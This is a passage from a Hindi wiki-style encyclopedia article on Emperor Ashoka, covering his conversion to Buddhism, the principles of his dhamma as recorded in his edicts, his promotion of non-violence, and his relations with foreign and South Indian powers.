एक दिन अपने राजभवन की खिड़की से उसने श्रमण निग्रोध को भिक्षा के लिए जाते हुए देखा और उसके व्यक्तित्व से बहुत ही प्रभावित हुआ। निग्रोध अशोक के बड़े भाई सुमन का पुत्र था। निग्रोध के प्रवचन को सुनकर अशोक ने [[बौद्ध धर्म]] अपना लिया। बाद में वह '''मोंग्गलिपुत्त तिस्स''' के प्रभाव में आ गया। उत्तरी भारत की [[अनुश्रुति|अनुश्रुतियों]] के अनुसार [[उपगुप्त]] ने अशोक को [[बौद्ध धर्म]] में दीक्षित किया। इन भिक्षुओं की शिक्षा तथा सम्पर्क से अशोक का रुझान बौद्ध धर्म की ओर बढ़ रहा था। इन अनुश्रुतियों से पता चलता है कि एक साधारण बौद्ध होने के बावजूद अशोक ने [[कलिंग]] पर आक्रमण किया। कलिंग युद्ध के नरसंहार से अशोक की अंतरात्मा की तीव्र आघात पहुँचा। इस पश्चाताप के परिणामस्वरूप अशोक ने विधिवत बौद्ध धर्म ग्रहण कर लिया। किन्तु जैसा कि अशोक के एक लघु शिलालेख से विदित होता है, बौद्ध धर्म में दीक्षित होने के बाद लगभग एक [[साल]] तक अशोक ने बौद्ध धर्म के प्रसार में सक्रिय भाग नहीं लिया। अवश्य ही एक उपासक के रूप में उसने 10वें वर्ष [[बोध गया]] की यात्रा की। विहार-यात्रा का स्थान धर्म यात्राओं ने ले लिया। इसके बाद वह एक [[वर्ष]] तक संघ में ही रहा या संघ के भिक्षुओं के निकट सम्पर्क में रहा। इस सम्पर्क के फलस्वरूप वह धर्म के प्रति अत्यधिक उत्साहशील हो गया। उसने जनता में प्रचार के लिए धर्म-सम्बन्धी उपदेश शिलाओं एवं स्तंभों पर उत्कीर्ण करवाए।
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[[चित्र:Ashokthegreat.jpg|thumb|300px|[[बौद्ध धर्म]] का प्रचार करते अशोक]]
 
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{{Main|बौद्ध धर्म}}  
==अशोक का धम्म==
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इसमें कोई संदेह नहीं कि अशोक बौद्ध धर्म का अनुयायी था। सभी बौद्ध ग्रंथ अशोक को बौद्ध धर्म का अनुयायी बताते हैं। अशोक के बौद्ध होने के सबल प्रमाण उसके [[अभिलेख]] हैं। राज्याभिषेक से सम्बद्ध लघु शिलालेख में अशोक ने अपने को 'बुद्धशाक्य' कहा है। साथ ही यह भी कहा है कि वह ढाई वर्ष तक एक साधारण उपासक रहा। भाब्रु लघु शिलालेख में अशोक त्रिरत्न—बुद्ध, धम्म और संघ में विश्वास करने के लिए कहता है और भिक्षु तथा भिक्षुणियों से कुछ बौद्ध ग्रंथों का अध्ययन तथा श्रवण करने के लिए कहता है। लघु शिलालेख से यह भी पता चलता है कि राज्याभिषेक के दसवें वर्ष में अशोक ने [[बोध गया]] की यात्रा की, बारहवें वर्ष वह [[निगालि सागर]] गया और [[कोनगमन बुद्ध]] के स्तूप के आकार को दुगुना किया। [[महावंश]] तथा [[दीपवंश]] के अनुसार उसने तृतीय बौद्ध संगीति (सभा) बुलाई और मोग्गलिपुत्त तिस्स की सहायता से संघ में अनुशासन और एकता लाने का सफल प्रयास किया। यह दूसरी बात है कि एकता थेरवाद बौद्ध सम्प्रदाय तक ही सीमित थी। अशोक के समय [[थेरवाद सम्प्रदाय]] भी अनेक उपसम्प्रदायों में विभक्त हो गया था।
संसार के इतिहास में अशोक इसलिए विख्यात है कि उसने निरन्तर मानव की नैतिक उन्नति के लिए प्रयास किया। जिन सिद्धांतों के पालन से यह नैतिक उत्थान सम्भव था, अशोक के लेखों में उन्हें 'धम्म' कहा गया है। दूसरे तथा सातवें स्तंभ-लेखों में अशोक ने धम्म की व्याख्या इस प्रकार की है, "धम्म है साधुता, बहुत से कल्याणकारी अच्छे कार्य करना, पापरहित होना, मृदुता, दूसरों के प्रति व्यवहार में मधुरता, दया-दान तथा शुचिता।" आगे कहा गया है कि, "प्राणियों का वध न करना, जीवहिंसा न करना, माता-पिता तथा बड़ों की आज्ञा मानना, गुरुजनों के प्रति आदर, मित्र, परिचितों, सम्बन्धियों, ब्राह्मण तथा श्रवणों के प्रति दानशीलता तथा उचित व्यवहार और दास तथा भृत्यों के प्रति उचित व्यवहार।"
 
 
 
*[[ब्रह्मगिरि]] शिलालेख में इन गुणों के अतिरिक्त शिष्य द्वारा गुरु का आदर भी धम्म के अंतर्गत माना गया है। अशोक के अनुसार यह पुरानी परम्परा<ref>पोराण पकिति</ref> है।
 
*तीसरे शिलालेख में अशोक ने अल्प व्यय तथा अल्प संग्रह का भी धम्म माना है। अशोक ने न केवल धम्म की व्याख्या की है, वरन् उसने धम्म की प्रगति में बाधक पाप की भी व्याख्या की है - चंडता, निष्ठुरता, क्रोध, मान और ईर्ष्या पाप के लक्षण हैं। प्रत्येक व्यक्ति को इनसे बचना चाहिए।
 
*अशोक ने नित्य आत्म-परीक्षण पर बल दिया है। मनुष्य हमेशा अपने द्वारा किए गए अच्छे कार्यों को ही देखता है, यह कभी नहीं देखता कि मैंने क्या पाप किया है। व्यक्ति को देखना चाहिए कि ये मनोवेग - चंडता, निष्ठुरता, क्रोध, ईर्ष्या, मान—व्यक्ति को पाप की ओर न ले जाएँ और उसे भ्रष्ट न करें।
 
 
 
==धम्म में प्रवृत्त==
 
कलिंग युद्ध के बाद ही अशोक अपने शिलालेखों के अनुसार [[धम्म]] में प्रवृत्त हुआ। यहाँ धम्म का आशय [[बौद्ध धर्म]] लिया जाता है और वह शीघ्र ही बौद्ध धर्म का अनुयायी बन गया। बौद्ध मतावलम्बी होने के बाद अशोक का व्यक्तित्व एकदम बदल गया। आठवें शिलालेख में जो सम्भवत: कलिंग विजय के चार वर्ष बाद तैयार किया गया था, अशोक ने घोषणा की- 'कलिंग देश में जितने आदमी मारे गये, मरे या क़ैद हुए उसके सौंवे या हज़ारवें हिस्से का नाश भी अब देवताओं के प्रिय को बड़े दु:ख का कारण होगा।'
 
{{बाँयाबक्सा|पाठ=धम्म है साधुता, बहुत से कल्याणकारी अच्छे कार्य करना, पापरहित होना, मृदुता, दूसरों के प्रति व्यवहार में मधुरता, दया-दान तथा शुचिता।" आगे कहा गया है कि, "प्राणियों का वध न करना, जीवहिंसा न करना, माता-पिता तथा बड़ों की आज्ञा मानना, गुरुजनों के प्रति आदर, मित्र, परिचितों, सम्बन्धियों, ब्राह्मण तथा श्रवणों के प्रति दानशीलता तथा उचित व्यवहार और दास तथा भृत्यों के प्रति उचित व्यवहार।|विचारक=अशोक}}
 
उसने आगे युद्ध ना करने का निर्णय लिया और बाद के 31 वर्ष अपने शासनकाल में उसने मृत्युपर्यंत कोई लड़ाई नहीं ठानी। उसने अपने उत्तराधिकारियों को भी परामर्श दिया कि वे शस्त्रों द्वारा विजय प्राप्त करने का मार्ग छोड़ दें और धर्म द्वारा विजय को वास्तविक विजय समझें।  <ref>{{cite book | last =भट्टाचार्य| first =सचिदानंद| title =भारतीय इतिहास कोश  | edition = | publisher =उत्तरप्रदेश हिंदी संस्थान | location =लखनऊ| language =हिंदी| pages =26| chapter =}}</ref>
 
 
 
==धम्म के सिद्धांत==
 
धम्म के इन सिद्धांतों का अनुशीलन करने से इस सम्बन्ध में कोई संदेह नहीं रह जाता कि यह एक सर्वसाधारण धर्म है। जिसकी मूलभूत मान्यताएँ सभी सम्प्रदायों में मान्य हैं और जो देश काल की सीमाओं में आबद्ध नहीं हैं। किसी पाखंड या सम्प्रदाय का इससे विरोध नहीं हो सकता। अशोक ने अपने तेरहवें शिलालेख में लिखा है—ब्राह्मण, श्रमण और ग्रहस्थ सर्वत्र रहते हैं और धर्म के इन आचरणों का पालन करते हैं। अशोक के साम्राज्य में अनेक सम्प्रदाय के मानने वाले थे और हो सकता है कि उनमें थोड़ा बहुत विरोध तथा प्रतिद्वन्द्विता का भाव भी रहा हो। उसने सभी सम्प्रदायों में सामजस्य स्थापित करने के लिए सदाचार के इन नियमों पर ज़ोर दिया। बारहवें शिलालेख में अशोक में धर्म की सार-वृद्धि पर ज़ोर दिया है, अर्थात् एक धर्म—सम्प्रदाय वाले दूसरे धर्म—सम्प्रदाय के सिद्धांतों के विषय में जानकारी प्राप्त करें, इससे धर्मसार की वृद्धि होगी। {{दाँयाबक्सा|पाठ=सारी प्रजा मेरी संतान है, जिस प्रकार मैं अपनी संतान ऐहिक और कल्याण की कामना करता हूँ उसी प्रकार, अपनी प्रजा के ऐहिक और पारलौकिक कल्याण और सुख के लिए भी। जैसे एक माँ एक शिशु को एक कुशल धाय को सौंपकर निश्चिंत हो जाती है कि कुशल धाय संतान का पालन-पोषण करने में समर्थ है, उसी प्रकार मैंने भी अपनी प्रजा के सुख और कल्याण के लिए राजुकों की नियुक्ति की है"|विचारक=कलिंग में अशोक}}
 
 
 
==बौद्ध धर्म==
 
इसमें कोई संदेह नहीं कि अशोक बौद्ध धर्म का अनुयायी था। सभी बौद्ध ग्रंथ अशोक को बौद्ध धर्म का अनुयायी बताते हैं। अशोक के बौद्ध होने के सबल प्रमाण उसके अभिलेख हैं। राज्याभिषक से सम्बद्ध लघु शिलालेख में अशोक ने अपने को 'बुद्धशाक्य' कहा है। साथ ही यह भी कहा है कि वह ढाई वर्ष तक एक साधारण उपासक रहा। भाब्रु लघु शिलालेख में अशोक त्रिरत्न—बुद्ध, धम्म और संघ में विश्वास करने के लिए कहता है और भिक्षु तथा भिक्षुणियों से कुछ बौद्ध ग्रंथों का अध्ययन तथा श्रवण करने के लिए कहता है। लघु शिलालेख से यह भी पता चलता है कि राज्याभिषेक के दसवें वर्ष में अशोक ने [[बोध गया]] की यात्रा की, बारहवें वर्ष वह [[निगालि सागर]] गया और [[कोनगमन बुद्ध]] के स्तूप के आकार को दुगुना किया। [[महावंश]] तथा [[दीपवंश]] के अनुसार उसने तृतीय बौद्ध संगीति (सभा) बुलाई और मोग्गलिपुत्त तिस्स की सहायता से संघ में अनुशासन और एकता लाने का सफल प्रयास किया। यह दूसरी बात है कि एकता थेरवाद बौद्ध सम्प्रदाय तक ही सीमित थी। अशोक के समय [[थेरवाद सम्प्रदाय]] भी अनेक उपसम्प्रदायों में विभक्त हो गया था। अशोक के [[सारनाथ]] तथा [[सांची]] के लघु स्तंभ लेख में संघभेद के विरुद्ध यह आदेश जारी किया गया है कि जो भिक्षु या भिक्षुणी संघ में फूट डालने का प्रयास करें उन्हें संघ से बहिष्कृत किया जाए। यह आदेश [[कौशाम्बी]] और [[पाटलिपुत्र]] के महापात्रों को दिया गया है। इससे पता चलता है कि बौद्ध धर्म का संरक्षक होने के नाते संघ में एकता बनाए रखने के लिए अशोक ने राजसत्ता का उपयोग किया। हमें अशोक के व्यक्तिगत धर्म और अभिलेखों में दिए हुए धम्म में स्पष्ट भेद रखना है। अशोक बौद्ध था, त्रिरत्न में विश्वास करता था। किन्तु जिस धम्म के उपदेश का उसने लोगों में प्रचार किया वह सर्वसाधारण धम्म था। यह मानव धम्म था, तभी तो अशोक अपने तेरहवें शिलालेख में विदेशों में यूनानी शासकों और देश में साम्राज्य के बाहर दक्षिण के पड़ोसी राज्यों में धम्म विजय का दावा करता है। उक्त शिलालेख के अनुसार इन सभी देशों में लोग धम्मानुशासन (धर्म की शिक्षा) सुनते हैं और धम्म के अनुकूल आचरण करते हैं।
 
 
 
==धर्म संबंधी शिलालेख==
 
{{Main|अशोक के शिलालेख}}
 
[[चित्र:Brahmi Lipi-3.jpg|thumb|[[अशोक के शिलालेख]]|220px]]
 
शिलाओं तथा स्तंभों पर उत्कीर्ण लेखों के अनुशीलन से हम इस निष्कर्ष पर पहुँचते हैं कि अशोक का धम्म व्यावहारिक फलमूलक (अर्थात फल को दृष्टि में रखने वाला) और अत्यधिक मानवीय था। इस धर्म के प्रचार से अशोक अपने साम्राज्य के लोगों में तथा बाहर अच्छे जीवन के आदर्श को चरितार्थ करना चाहता था। इसके लिए उसने जहाँ कुछ बातें लाकर बौद्ध धर्म में सुधार किया वहाँ लोगों को धर्म परिवर्तन के लिए विवश नहीं किया। वस्तुतः उसने अपने शासनकाल में निरन्तर यह प्रयास किया कि प्रजा के सभी वर्गों और सम्प्रदायों के बीच सहमति का आधार ढूंढा जाए और सामान्य आधार के अनुसार नीति अपनाई जाए। सातवें शिलालेख में अशोक ने कहा, "सभी सम्प्रदाय सभी स्थानों में रह सकते हैं, क्योंकि सभी आत्मसंयम और भावशुद्धि चाहते हैं।" बारहवें शिलालेख में उसने घोषणा की कि अशोक सभी सम्प्रदायों के गृहस्थ और श्रवणों का दान आदि के द्वारा सम्मान करता है। किन्तु महाराज दान और मान को इतना महत्त्व नहीं देते जितना इस बात को देते हैं कि सभी सम्प्रदाय के लोगों में सारवृद्धि हो, सारवृद्धि के लिए मूलमंत्र है वाकसंयम (वचो गुत्ति)। लोगों को अपने सम्प्रदाय की प्रशंसा तथा दूसरे सम्प्रदायों की निन्दा नहीं करनी चाहिए। लोगों में सहमति (समवाय) बढ़ाने के लिए धम्म महापात्र तथा अन्य कर्मचारियों को लगाया गया है।
 
 
 
अशोक पर यह आरोप लगाया गया है कि उसने अपने आदेश (लेख) केवल बौद्ध धर्म के प्रचार-प्रसार के लिए खुदवाये हैं पर यह विचार न्यायसंगत नहीं है, क्योंकि उसने सभी सम्प्रदायों को प्रकट रूप से सहायता दी।<ref>'प्राचीन भारत की संस्कृति और सभ्यता' | लेखक: दामोदर धर्मानंद कोसंबी | अनुवादक: गुणाकर मुले | प्रकाशक: राजकमल प्रकाशन | पृष्ठ संख्या: 200</ref>
 
 
 
==बौद्ध धर्म में रुचि का कारण==
 
अशोक के धम्म की विवेचना करते हुए रोमिला थापर ने लिखा है कि कुछ राजनीतिक उद्देश्यों से ही अशोक ने एक नए धर्म की कल्पना की तथा इसका प्रसार किया। [[चंद्रगुप्त मौर्य]] के समय शासन के केन्द्रीकरण की नीति सफलतापूर्वक पूरी हो चुकी थी। कुशल अधिकारतंत्र, अच्छी संचार व्यवस्था और शक्तिशाली शासक के द्वारा उस समय साम्राज्य का जितना केन्द्रीकरण सम्भव था, वह हो चुका था। किन्तु केन्द्र का आधिपत्य बनाए रखना दो ही तरह से सम्भव था, एक तो सैनिक शक्ति द्वारा कठोर शासन तथा राजा में देवत्व का आरोपण करके और दूसरे सभी वर्गों से संकलित सारग्राही धर्म को अपनाकर। यह दूसरा तरीक़ा ही अधिक युक्ति संगत था क्योंकि ऐसा करने से किसी एक वर्ग का प्रभाव कम किया जा सकता था और फलतः केन्द्र का प्रभाव बढ़ता। अशोक की यह नीति सार रूप में वही थी जो [[अकबर]] ने अपनाई थी। यद्यपि उसका रूप भिन्न था। सिंहासनारूढ़ होने के समय अशोक बौद्ध नहीं था। बाद में ही उसकी बौद्ध धर्म में रुचि बढ़ी क्योंकि उत्तराधिकार युद्ध के समय उसे सम्भवतः कट्टर समुदायों का समर्थन नहीं मिला। अतः बौद्ध धर्म को स्पष्ट रूप में समर्थन देकर उसने उन वर्गों का समर्थन प्राप्त किया जो कट्टर नहीं थे। रोमिला थापर का अनुमान है कि बौद्ध और आजीवकों को नवोदित वैश्य वर्ग का समर्थन प्राप्त था तथा जनसाधारण का इन सम्प्रदायों से तीव्र विरोध नहीं था। इस प्रकार अशोक ने धर्म को अपनाने में व्यावहारिक लाभ देखा। इस नए धर्म या धम्म की कल्पना का दूसरा कारण था छोटी—छोटी राजनीतिक इकाइयों में बंटे साम्राज्य के विभिन्न वर्गों, जातियों और संस्कृतियों को एक सूत्र में बाँधना। इनके साथ-साथ विभिन्न प्रदेशों में सत्ता को दृढ़ करने के लिए यह उपयोग में लाया जा सकता था।
 
महत्त्वपूर्ण यह है कि एक शासक जिसके पास निरंकुश क़ानूनी विधान, विशाल सेना एंव अपरिमित संसाधन हो वह अपने शिलालेखों में स्वयं को नैतिक मूल्यों के विस्तारक के रूप में प्रस्तुत क्यों करता है? वस्तुतः योग्य व कुशल शासकों की नियुक्तियां सदैव साम्राज्य की रक्षा के लिए निर्मित की जाती हैं| बौद्ध धर्म की शिक्षा के केंद्र [[मगध]] में जनमानस में शोषण के विरुद्ध व्यापक चेतना थी| सम्राट अशोक को बौद्ध धर्म का प्रचार करने और स्तूपादि को निर्मित कराने की प्रेरणा धर्माचार्य [[उपगुप्त]] ने ही दी। जब भगवान बुद्ध दूसरी बार [[मथुरा]] आये, तब उन्होंने भविष्यवाणी की और अपने प्रिय शिष्य [[आनंद]] से कहा कि कालांतर में यहाँ उपगुप्त नाम का एक प्रसिद्ध धार्मिक विद्वान होगा, जो उन्हीं की तरह बौद्ध धर्म का प्रचार करेगा और उसके उपदेश से अनेक भिक्षु योग्यता और पद प्राप्त करेंगे। इस भविष्यवाणी के अनुसार उपगुप्त ने मथुरा के एक वणिक के घर जन्म लिया। उसका पिता सुगंधित द्रव्यों का व्यापार करता था। उपगुप्त अत्यंत रूपवान और प्रतिभाशाली था। उपगुप्त किशोरावस्था में ही विरक्त होकर बौद्ध धर्म का अनुयायी हो गया था। आनंद के शिष्य शाणकवासी ने उपगुप्त को मथुरा के नट-भट विहार में बौद्ध धर्म के 'सर्वास्तिवादी संप्रदाय' की दीक्षा दी थी।
 
 
 
==नैतिक उत्थान के लिए धम्म का प्रचार==
 
किन्तु बौद्ध अनुश्रुतियों और अशोक के अभिलेखों से यह सिद्ध नहीं होता कि उसने किसी राजनीतिक उद्देश्य से धम्म का प्रचार किया। तेरहवें शिलालेख और लघु शिलालेख से विदित होता है कि अशोक धर्म परिवर्तन का कलिंग युद्ध से निकट सम्बन्ध है।
 
रोमिला थापर का मत है कि धम्म कल्पना अशोक की निजी कल्पना थी, किन्तु अशोक के शिलालेखों में धम्म की जो बातें दी गई हैं उनसे स्पष्ट है कि वे पूर्ण रूप से बौद्ध ग्रंथों से ली गई हैं। ये बौद्ध ग्रंथ हैं—दीघनिकाय के लक्खण सुत्त चक्कवत्ती सीहनाद सुत्त, राहुलोवाद सुत्त तथा धम्मपद। इन ग्रंथों में वर्णित धर्मराज के आदर्श से प्रेरित होकर ही अशोक ने धम्म विजय आदर्श को अपनाया। लक्खण सुत्त तथा चक्कवत्ती सीहनाद सुत्त में धम्मयुक्त चक्रवर्ती सम्राट के विषय में कहा गया है कि वह भौतिक तथा आध्यात्मिक कल्याण के लिए प्रयत्नशाल रहता है। ऐसा राजा विजय से नहीं अपितु धम्म से विजयी होता है। वह तलबार के बजाय धम्म से विजय प्राप्त करता है। वह लोगों को अहिंसा का उपदेश देता है। अशोक ने धम्म की जो परिभाषा दी है वह 'राहुलोवादसुत्त' से ली गई है। इस सुत्त को 'गेहविजय' भी कहा गया है अर्थात 'ग्रहस्थों के लिए अनुशासन ग्रंथ'। उपासक के लिए परम उद्देश्य स्वर्ग प्राप्त करना था न कि निर्वाण। चक्कवत्ती (चक्रवर्ती) धम्मराज के आदर्श को अपनाते हुए अशोक ने जनसाधारण के नैतिक उत्थान के लिए अपने धम्म का प्रचार किया ताकि वे एहिक सुख और इस जन्म के बाद स्वर्ग प्राप्त कर सकें। इसमें संदेह नहीं कि अशोक सच्चे हृदय से अपनी प्रजा का नैतिक पुनरुद्धार करना चाहता था और इसके लिए वह निरन्तर प्रयत्न शील रहा। वह निस्संदेह एक आदर्श को चरितार्थ करना चाहता था। यही अशोक की मौलिकता है।
 
==अहिंसा का प्रचार==
 
[[चित्र:Inscription-Of-Ashoka-Brahmi-Script.jpg|thumb|250px|[[ब्राह्मी लिपि]] में लिखे [[अशोक के शिलालेख]], [[राष्ट्रीय संग्रहालय दिल्ली|राष्ट्रीय संग्रहालय]], [[दिल्ली]]]]
 
अशोक ने धम्म प्रचार के लिए बड़ी लगन और उत्साह से काम किया। अहिंसा के प्रचार के लिए अशोक ने कई क़दम उठाए। उसने युद्ध बंद कर दिए और स्वयं को तथा राजकर्मचारियों को मानव-मात्र के नैतिक उत्थान में लगाया। जीवों का वध रोकने के लिए अशोक ने प्रथम शिलालेख में विक्षप्ति जारी की कि किसी यज्ञ के लिए पशुओं का वध न किया जाए। 'इह' शब्द से यह अनुमान लगाया जाता है कि यह निषेध या तो राजभवन या फिर [[पाटलिपुत्र]] के लिए ही था, समस्त साम्राज्य के लिए नहीं। पशु—वध को एकदम रोकना असम्भव था। अतः अशोक ने लिखा है कि राजकीय रसोई में पहले जहाँ सैकड़ों हज़ारों पशु भोजन के लिए मारे जाते थे, वहाँ अब केवल तीन प्राणी—दो मोर और एक मृग मारे जाते हैं, और भविष्य में वे भी नहीं मारे जाएँगे। साथ ही अशोक ने यह भी घोषणा की कि ऐसे सामाजिक उत्सव नहीं होने चाहिए, जिनमें अनियंत्रित आमोद-प्रमोद हो। जैसे—सुरापान, मांस भक्षण, मल्लयुद्ध, जानवरों की लड़ाई आदि। इनके स्थान पर अशोक ने धम्मसभाओं की व्यवस्था की जिनमें विमान, हाथी, अग्निस्कंध, इत्यादि स्वर्ग की झाँकियाँ दिखाई जाती थी और इस प्रकार जनता में धम्म के प्रति अनुराग पैदा किया जाता था। बिहार—यात्राएँ, जिनमें पशुओं का शिकार राजाओं का मूल्य मनोरंजन था, बंद कर दी गई। उनके स्थान पर अशोक ने धम्म यात्राएँ प्रारम्भ कीं। इन यात्राओं के अवसर पर अशोक ब्राह्मणों और श्रवणों को दान देता था। वृद्धों को सुवर्ण दान देता था। व्यक्तिगत उपदेश से आम जनता में धर्म प्रसारण में सहायता मिली। अशोक ने अनेक बौद्ध स्थानों की यात्रा की, जैसे—बोध गया, [[लुम्बिनी]], निगलीसागर आदि। इन धर्म यात्राओं से अशोक को देश के विभिन्न स्थानों के लोगों के सम्पर्क में आने का और धर्म तथा शासन के विषय में लोगों के विचार जानने का अवसर मिला। साथ ही इन यात्राओं से एक प्रकार से स्थानीय शासकों पर नियंत्रण रहता था। अशोक ने राज्य के कर्मचारियों—प्रादेशिक, राजुक तथा युक्तकों को प्रति पाँचवें वर्ष धर्म प्रचार के लिए यात्रा पर भेजा। अशोक के लेखों में इसे अनुसंधान कहा गया है।
 
 
 
==कर्मचारियों की नियुक्ति==
 
तीसरी शताब्दी ईसा पूर्व तक उत्तरी भारत की अर्थव्यवस्था मुख्यत: [[कृषि]] प्रधान हो गई थी। भू-राजस्व सरकार की आय का सर्वमान्य स्रोत बन चुका था और यह महसूस किया जाने लगा कि कृषि-अर्थव्यवस्था का विस्तार होने पर नियमित कराधान से राजस्व में भी सुनिश्चित्त वृद्धि होगी। अधिकांश जनसंख्या कृषक थी और गाँव में रहती थी। राजा और राज्य का भेद उत्तरोत्तर मिटता जा रहा था।<ref>'भारत का इतिहास' | लेखिका: रोमिला थापर | प्रकाशक: राजकमल प्रकाशन | पृष्ठ संख्या: 66</ref>
 
 
 
अपने राज्याभिषेक के चौदहवें वर्ष में अशोक ने एक नवीन प्रकार के कर्मचारियों की नियुक्ति की। इन्हें "[[धम्ममहामात्र]]" कहा गया है। अपने कार्य की दृष्टि से धम्ममहामात्र एक नवीन प्रकार का कर्मचारी था। इन कर्मचारियों का मुख्य कार्य जनता को [[धम्म]] की बातें समझाना, उनमें धम्म के प्रति रुचि पैदा करना था। वे समाज के सभी वर्गों—[[ब्राह्मण]], [[क्षत्रिय]], [[वैश्य]], दास, निर्धन, वृद्ध—के कल्याण तथा सुख के लिए कार्य करते थे। वे सीमांत देशों तथा विदेशों में भी काम करते थे। राज्य में सभी प्रकार के लोगों तक उनकी पहुँच थी। उनका कार्य था धर्म के मामले में लोगों में सहमति बढ़ाना। ब्राह्मण, श्रमण तथा राजघराने के लोगों को दानशील कार्यों के लिए प्रोत्साहित करना, कारावास से क़ैदियों को मुक्त कराना या उनका दंड कम करवाना तथा लोगों की अन्याय से रक्षा करना। धम्ममहामात्रों की नियुक्ति से एक [[वर्ष]] पूर्व उसने साम्राज्य के विभिन्न स्थानों पर धम्म की शिक्षाओं को शिलालेखों में उत्कीर्ण करवाया।
 
 
 
 
==विदेशों से सम्बन्ध==
 
==विदेशों से सम्बन्ध==
धम्म प्रचार एवं धम्म विजय के संदर्भ में अशोक के शिलालेखों में कुछ ऐसे विवरण भी मिलते हैं, जिनमें उसके एवं विदेशों के पारस्परिक सम्बन्धों का आभास मिलता है। ये सम्बन्ध कूटनीति एवं भौगोलिक सान्निध्य के हितों पर आधारित थे। अशोक ने जो सम्पर्क स्थापित किए वे अधिकांशतः दक्षिण एवं पश्चिम क्षेत्रों में थे और धम्म मिशनों के माध्यम से स्थापित किए थे। इन मिशनों की तुलना आधुनिक सदभावना मिशनों से की जा सकती है। अशोक के ये मिशन स्थायी तौर पर विदेशों में एक आश्चर्यजनक तथ्य हैं कि स्तंभ अभिलेख नं. 7, जो अशोक के काल की आख़िरी घोषणा मानी जाती है, [[ताम्रपर्ण]], [[श्रीलंका]] के अतिरिक्त और किसी विदेशी शक्ति का उल्लेख नहीं करती। शायद विदेशों में अशोक को उनती सफलता नहीं मिली जितनी साम्राज्य के भीतर। फिर भी इतना कहा जा सकता है कि विदेशों से सम्पर्क के जो द्वार [[सिकन्दर]] के आक्रमण के पश्चात खुले थे, वे अब और अधिक चौड़े हो गए।
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धम्म प्रचार एवं धम्म विजय के संदर्भ में अशोक के शिलालेखों में कुछ ऐसे विवरण भी मिलते हैं, जिनमें उसके एवं विदेशों के पारस्परिक सम्बन्धों का आभास मिलता है। ये सम्बन्ध कूटनीति एवं भौगोलिक सान्निध्य के हितों पर आधारित थे। अशोक ने जो सम्पर्क स्थापित किए वे अधिकांशतः दक्षिण एवं पश्चिम क्षेत्रों में थे और धम्म मिशनों के माध्यम से स्थापित किए थे। इन मिशनों की तुलना आधुनिक सदभावना मिशनों से की जा सकती है। अशोक के ये मिशन स्थायी तौर पर विदेशों में एक आश्चर्यजनक तथ्य हैं कि स्तंभ अभिलेख नं. 7, जो अशोक के काल की आख़िरी घोषणा मानी जाती है, [[ताम्रपर्ण]], [[श्रीलंका]] के अतिरिक्त और किसी विदेशी शक्ति का उल्लेख नहीं करती। शायद विदेशों में अशोक को उतनी सफलता नहीं मिली जितनी साम्राज्य के भीतर। फिर भी इतना कहा जा सकता है कि विदेशों से सम्पर्क के जो द्वार [[सिकन्दर]] के आक्रमण के पश्चात् खुले थे, वे अब और अधिक चौड़े हो गए।
 
 
==यवन, काम्बोज एवं गांधार==
 
[[चित्र:Kharoshthi Script 4.jpg|thumb|[[खरोष्ठी लिपि]]|270px]]
 
जहाँ तक पश्चिमी शक्तियों का सम्बन्ध है, शिलालेख 5 एवं 13 में [[यवन|यवनों]], [[कम्बोज|काम्बोजों]] एवं [[गांधार|गांधारों]] का उल्लेख है। किन्तु उत्तर-पश्चिम की इन शक्तियों के पश्चिम में भी कुछ ऐसी शक्तियाँ थीं, जो कि सिकन्दर के आक्रमण के बाद स्थापित हो गई थीं और सामान्य रूप से यवन थीं। इनमें से कुछ को अशोक ने नाम लेकर अभिहित किया है। एक स्थान पर अशोक ने कहा है कि उसके धम्म मिशन सीमावर्ती राज्यों और 600 योजन जैसे सुदूर क्षेत्रों में भी पहुँचे थे। शिलालेख 2 एवं 13 में यवन नरेश अंतियोक का उल्लेख है जो अखमनी [[एण्टियोकस द्वितीय]] माना जाता है। कहा जाता है कि अशोक ने विशाल पत्थर पर एक अभिलेख उत्कीर्ण करवाया जिसकी घोषणाओं की शैली अखमनी प्ररूप से प्ररित थी। भाषाशास्त्रीय अध्ययन से भी इन सम्पर्कों की पुष्टि होती है। अशोक के शाहबज़गढ़ी एवं मनसेहरा शिलालेखों में [[खरोष्ठी लिपि]] का प्रयोग एवं कुछ ईरानी शब्दों का प्रयोग भी इसी ओर संकेत करते हैं। रुद्रदामा के जूनागढ़ अभिलेख में अपरान्त (पश्चिम भारत) में अशोक के गवर्नर के रूप में योनराज तुफ़ास्क का नाम मिलता है। जो स्पष्टतः एक ईरानी नाम है। पश्चिम के ही कुछ अन्य नरेशों के नाम अशोक के शिलालेख नं0 13 में मिलते हैं--
 
 
 
#तुरमाय अर्थात् तुलमाय, जो मिस्र का यवन नरेश टाल्मी द्वितीय फिलाडेल्फस (ई. पू. 285-47) था।
 
#अंतिकितनी अर्थात् अंतेकिन—मेसिडोनिया का यवन नरेश ऐण्टीगोनस गोनातास (ई. पू. 277-39)।
 
#मका अर्थात् मगा—उत्तरी अफ्रीका में सेरीन का यवन नरेश मगा (ई. पू. 282-58)।
 
#अलिकसुन्दर—ऐपीरस का यवन नरेश एलेक्ज़ेडर (ई. पू. 272-55) अथवा कोरिन्स का यवन नरेश एलेक्ज़ेडर (ई0 पू. 252-44)।
 
 
 
(ये चार नरेश अंतियोक के राज्य के परे बताए जाते हैं।)
 
 
 
==दक्षिण भारत में अशोक==
 
दक्षिण में मौर्य प्रभाव के प्रसार की जो प्रक्रिया चंद्रगुप्त मौर्य के काल में आरम्भ हुई, वह अशोक के नेतृत्व में और भी अधिक पुष्ट हुई। लगता है कि चंद्रगुप्त की सैनिक प्रसार की नीति ने वह स्थायी सफलता नहीं प्राप्त की, जो अशोक की धम्म विजय ने की थी। [[गावीमठ]], [[पालकी गुण्डु]], [[ब्रह्मगिरि]], [[मस्की]], [[येर्रागुण्डी]], [[जतिंग रामेश्वर]] आदि स्थलों पर स्थित अशोक के शिलालेख इसके प्रमाण हैं। और फिर परिवर्ती कालीन साहित्य में, विशेष रूप से दक्षिण में अशोकराज की परम्परा काफ़ी प्रचलित प्रतीत होती है। [[ह्वेन त्सांग|ह्यूनत्सांग]] ने तो चोल-पाड्य राज्यों में (जिन्हें स्वयं अशोक के शिलालेख 2 एवं 13 में सीमावर्ती प्रदेश बताया गया है) भी अशोकराज के द्वारा निर्मित अनेक [[स्तूप|स्तूपों]] का वर्णन किया है। यह सम्भव है कि कलिंग में अशोक की सैनिक विजय और फिर उसके पश्चात उनके सौहार्दपूर्ण नीति ने भोज, पत्तनिक, आँध्रों, राष्ट्रिकों, सतियपुत्रों एवं केरलपुत्रों जैसी शक्तियों के बीच मौर्य प्रभाव के 